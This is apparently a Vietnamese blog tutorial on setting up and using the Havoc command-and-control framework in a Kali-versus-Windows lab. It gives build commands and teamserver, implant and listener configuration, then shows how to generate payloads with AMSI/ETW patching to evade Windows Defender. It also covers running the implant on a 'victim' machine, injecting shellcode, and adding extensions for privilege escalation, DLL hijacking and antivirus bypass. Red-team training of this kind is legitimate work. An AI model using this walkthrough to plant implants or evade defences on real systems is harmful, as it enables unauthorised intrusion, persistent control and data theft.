Cobalt Strike, Brute Ratel và Metasploit Pro là những cái tên "lừng danh" trong lĩnh vực Command & Control (C2) Frameworks. Tuy nhiên, cũng chính vì sự nổi tiếng đó mà chúng luôn là mục tiêu của các phần mềm bảo mật, gây ra nhiều trở ngại trong quá trình tấn công. Hơn nữa với chi phí đắt đỏ , việc tiếp cận những công cụ này cũng trở nên rất khó khăn. Trước bối cảnh đó, Havoc Framework ra đời như một Framework thú vị với nhiều chức năng và hoàn toàn miễn phí.
1. Giới thiệu Havoc Framework
Havoc Framework được giới thiệu lần đầu vào tháng 10 năm 2022 bởi C5pider . Với khả năng bypass Windows Defender mạnh mẽ , khả năng phát triển linh hoạt cùng với nguồn dữ liệu phong phú , công cụ này nhanh chóng trở thành trợ thủ đắc lực cho các nhóm APT (Machete, machete-apt, APT-C-43, G0095)
Ảnh dưới đây thể hiện mức độ quan tâm của Hacker với công cụ này
Sự tăng / giảm số lượng người dùng phụ thuộc vào thời điểm mà công cụ này có khả năng bypass Windows Defender được hay không.
2. Cài đặt Havoc Framework
Giống như CobaltStrike , Havoc Framework sử dụng cơ chế client-server để vận hành, theo đó quá trình cài đặt sẽ diễn ra như sau :
Bước 1. Tiến hành cài đặt các gói phụ thuộc với câu lệnh sau
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm
Bước 2. Xây dựng Havoc-Client
git clone https://github.com/HavocFramework/Havoc.git
make client-build
Sau khi biên dịch xong, ta khởi chạy Havoc client với câu lệnh sau :
./havoc client
Bước 3. Sau khi đã hoàn tất , ta thực hiện xây dựng Havoc-Teamserver
# Cài đặt gói phụ thuộc go mod download golang.org/x/sys go mod download github.com/ugorji/go # Biên dịch TeamServer
make ts-build
3. Cấu hình Havoc Framework
3.1. Cấu hình Teamserver
Tương tự CobaltStrike , Havoc Framework cũng sử dụng Profiles để cấu hình C2 , nội dung file này được lưu trữ mặc định tại "Havoc/Teamserver/profiles/havocdefault.yaotl" sử dụng ngôn ngữ HCL với các thành phần sau :
Teamserver : Quy định giá trị Host / Port của máy chủ Hacker
Teamserver { Host = "0.0.0.0" Port = 40056
}
- Host : IP của máy chủ Hacker
- Port : Port của máy chủ Hacker (khuyến nghị thay đổi so với giá trị mặc định ban đầu)
Operators : Xác định giá trị Username/Password để đăng nhập Teamserver
Operators { user "5pider" { Password = "password1234" } user "Neo" { Password = "password1234" }
}
Demon : Cấu hình thông số mã độc thực thi trên máy nạn nhân
Demon { Sleep = 2 Jitter = 20 TrustXForwardedFor = false Implant { SleepMask = 1 SleepMaskTechnique = 0 } Injection { Spawn64 = "C:\\Windows\\System32\\notepad.exe" Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe" }
}
- Sleep : Khoảng thời gian chờ mặc định giữa các câu lệnh thực thi
- Jitter : Jitter được áp dụng cho các khoảng thời gian chờ
- TrustXForwardedFor : Cài đặt giá trị X-Forwarded-For cho host
- Implant\SleepMask : Chấp nhận SleepMask
- Implant\SleepMaskTechnique : Bao gồm các kỹ thuật che giấu tùy chọn WaitForSingleObjectEx (no obfuscation) , FOLIAGE , Ekko
- Injection\Spawn64 : Process sẽ được mã độc hại injection với kiến trúc 64bit
- Injection\Spawn32 : Process sẽ được mã độc hại injection với kiến trúc 32bit
Listeners : Cấu hình thông số lắng nghe trên máy Hacker
Havoc Framework hiện tại chỉ đáp ứng với 2 giao thức HTTP và HTTPS với config mặc định như sau:
Listeners { Http { Name = "HTTPS Listener" KillDate = "2006-01-02 15:04:05" WorkingHours = "8:00-17:00" Hosts = ["10.0.0.10"] PortBind = 443 PortConn = 443 Method = "POST" Secure = true UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" Uris = [ "/funny_cat.gif", "/index.php", "/test.txt", "/helloworld.js" ] Headers = [ "X-Havoc: true", "X-Havoc-Agent: Demon", ] Response { Headers = [ "Content-type: text/plain", "X-IsHavocFramework: true", ] } }
}
Trong đó các giá trị bao gồm :
- Name : Tên của listener
- KillDate (tùy chọn) : Cấu hình ngày Demon sẽ tự động shutdown
- WorkingHours (tùy chọn) : Giờ mà Demon sẽ hoạt động
- Hosts : IP được sử dụng để tương tác với Demon
- PortBind /PortConn : Port được sử dụng để tương tác với Demon
- Method : Phương thức sẽ được sử dụng để giao tiếp (HTTP hoặc HTTPS)
- UserAgent : User Agent sẽ được Demon sử dụng
- Headers / Response-Headers : Request và Response sẽ được Demon "giả lập" trong quá trình tương tác với nạn nhân
Hoàn tất cấu hình , ta khởi chạy Teamserver với câu lệnh sau
./teamserver server --profile ./profiles/havoc.yaotl -v --debug
Tất cả thông tin thu thập được sẽ nằm trong /Havoc/data/
3.2. Cấu hình Client
Để khởi chạy Havoc Client, ta sử dụng câu lệnh sau :
cd Havoc
./havoc client
Kết nối với TeamServer - điền các giá trị Name , Host , Port , Username , Password tương ứng với cấu hình trong Teamserver trước đó .
4. Thiết lập môi trường
Xây dựng môi trường với các thành phần sau :
- Máy chủ Kali Linux chạy Havoc Framework (Hacker)
- Máy chủ Windows 10 Pro đóng vai trò như máy tính nạn nhân (Victim).
4.1. Tạo một Listener
Bước 1. Để tạo một connection mới, trước tiên ta mở chức năng "View" > "Listeners"
Bước 2. Sau đó ta thấy chương trình hiển thị 3 chức năng bao gồm : "Add" , "Remote" , "Edit" . Sau khi ấn "Add" ta thấy cửa sổ hiện lên với tiêu đề "Create Listener"
Ở đây ta lần lượt điền các thông tin bao gồm :
- Name : Tên của "Listener"
- Payload : Kiểu Payload ta muốn sử dụng
- Host (Bind): IP của máy chủ lắng nghe
- Port : Port của máy chủ lắng nghe
- User Agent: Dữ liệu hiển thị từ máy chủ kết nối tới C2
Bước 3. Sau khi điền đầy đủ các thông tin cần thiết, ta ấn "Save" để lưu lại
4.2. Tạo một mã độc hại (Demon)
Để tạo một mã độc hại ta tiến hành thực hiện các bước sau : Truy cập "Attack" > "Payload" > "Generate"
Các thông số cấu hình như sau :
- Listener : Tên Listener mà ta đã cấu hình ở bước trên
- Arch : Kiến trúc payload mã ta sẽ sử dụng (kiến trúc này phải trùng với môi trường mục tiêu)
- Format : Định dạng của mã độc hại (.exe , .dll , shellcode ...)
- Amsi/Etw Patch : Kỹ thuật được sử dụng để bypass AMSI - Windows Defender
4.3. Khởi chạy trên môi trường thực tế
Sau khi khởi chạy mã độc trên máy tính nạn nhân, hệ thống hiển thị với giao diện như sau :
Khu vực 3 : Chứa các thông tin về Listener , dữ liệu chat
Khu vực 2 : Chứa các thông tin về Event View
Khu vực 1 : Đây là nơi tương tác chính với hệ thống mục tiêu bao gồm đầy đủ các thông tin bao gồm ID , User , Computer Name , PID , Process ... Có thể chuyển đổi giao diện qua lại giữa chế độ Table View và Graph View
Để chạy command trên máy tính nạn nhân, ta click chuột phải vào giá trị "ID" chọn "Interact"
- sleep [delay] : Quy định thời gian chạy giữa các câu lệnh
- job [list/ suspend / resume] : Triển khai đa luồng các tác vụ chạy lâu
- proc : Hệ thống quản lý và liệt kê quy trình
- token : Tương tác với token hệ thống
- shellcode : Injection shellcode vào các tiến trình được chỉ định
Để tìm kiếm file trên máy tính nạn nhân, ta chọn "Explorer"
Để thêm các Extension hỗ trợ việc tấn công, ta chọn "Attack" > "Extension" > "Install"
- havoc-bloodhoud : Hỗ trợ mapping hệ thống mục tiêu (trong trường hợp sử dụng Active Directory)
- havoc-privkit : Hỗ trợ tìm kiếm các lỗ hổng leo thang đặc quyền trên hệ thống mục tiêu
- havoc-ducky : Tạo payload thực thi áp dụng với USB Ducky
- Havoc-DLLHijack : Thực hiện DLL Hijacking trên hệ thống mục tiêu
- Shhhavoc : Module tính hợp bypass các thành phần Anti Virus
Để bypass Windows Defender các bạn có thể tham khảo nội dung video này hoặc video này (Tại thời điểm mình viết bài, phương pháp này vẫn có thể sử dụng được)